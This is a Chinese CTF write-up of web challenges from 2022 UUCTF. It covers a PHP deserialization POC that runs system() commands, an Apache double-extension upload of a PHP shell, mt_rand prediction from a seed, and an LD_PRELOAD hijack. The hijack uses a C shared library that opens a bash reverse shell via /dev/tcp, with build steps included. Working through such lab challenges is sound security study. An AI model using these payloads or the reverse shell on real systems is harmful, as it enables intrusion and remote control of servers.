2022UUCTF--WEB( 二 )

構造POC
class test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('ls');";}}echo((serialize(new test())));

2022UUCTF--WEB

文章插圖

2022UUCTF--WEB

文章插圖
最終的payload
<?phpclass test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('cat /f*');";}}echo((serialize(new test())));ez_upload--apache解析漏洞
文件上傳也就是哪些方式 一個一個試就好
apache解析漏洞 上傳shell.jpg.php即可
2022UUCTF--WEB

文章插圖
phonecode--mt_rand函數hint:你能猜到驗證碼嗎? 猜測就是隨機數預判
打開題目 根據提示 意思就是讓我們猜驗證碼是什么
2022UUCTF--WEB

文章插圖
我們先輸入手機號和驗證碼試試 , 發現無論請求多少次 hint永遠是895547922 , 結合mt_srand和mt_rand函數 當設置的種子確定(此處的種子時輸入的手機號)時,每次的mt_rand都是固定的 我們可以猜測hint就是mt_rand的第一次,而目的驗證碼就是mt_rand的第二次
mt_srand(11111);echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的
2022UUCTF--WEB

文章插圖
我們寫代碼 弄出第二次的mt_rand
mt_srand(123);echo mt_rand()."\n";//895547922echo mt_rand()."\n";//2141438069發現果然 第一次的mt_rand就是hint
我們將code改為2141438069
2022UUCTF--WEB

文章插圖
uploadandinject--LD_PRELOAD劫持打開題目發現有hint
2022UUCTF--WEB

文章插圖
看看hint , 意思就是看看swp(Linuxvim產生的文件).index.php.swp或者看到swp掃描就好
2022UUCTF--WEB

文章插圖
下載 可以看到源碼 使用 vi -r index.php.swp 恢復文件內容
$PATH=$_GET["image_path"];if((!isset($PATH))){$PATH="upload/1.jpg";}echo "<div align='center'>";loadimg($PATH);echo "</div>";function loadimg($img_path){if(file_exists($img_path)){//設置環境變量的值 添加 setting 到服務器環境變量 。環境變量僅存活于當前請求期間 。在請求結束時環境會恢復到初始狀態 設置.soLD_PRELOAD設置的優先加載動態鏈接庫putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=https://www.huyubaike.com/biancheng/$img_path>";}else{system("echo Failed to load ");}}而且我們篤定是有上傳的網頁的,限制了文件類型 我們想要上傳的是so,但是LD_PRELOAD也能解析jpg后綴 所以修改后綴上傳就可以
2022UUCTF--WEB

文章插圖
那么問題又來了 我們上傳了so文件,怎么才能觸發動態鏈接庫的函數?可以看到下面有一個system函數 ,本地測試可以發現,system會調用/bin/sh
2022UUCTF--WEB

文章插圖
所以我們寫一個exp.c
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() {//反彈shellsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");}char *strcpy (char *__restrict __dest, const char *__restrict __src) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();}編譯成so文件 然后修改后綴為jpg
gcc -shared -fPIC exp.c -o exp.so在upload/upload.php上傳
2022UUCTF--WEB

文章插圖
然后在主頁面訪問,根據源碼我們傳遞upload/exp_shell.jpg給image_path
//設置環境變量的值 添加 setting 到服務器環境變量 。環境變量僅存活于當前請求期間 。在請求結束時環境會恢復到初始狀態 設置.soLD_PRELOAD設置的優先加載動態鏈接庫putenv("LD_PRELOAD=/var/www/html/$img_path");// 執行函數 就會優先到我們LD_PRELOAD的指向的函數 反彈shellsystem("echo Success to load");
要先在攻擊機上監聽端口
2022UUCTF--WEB

文章插圖
反彈shell成功
2022UUCTF--WEB

推薦閱讀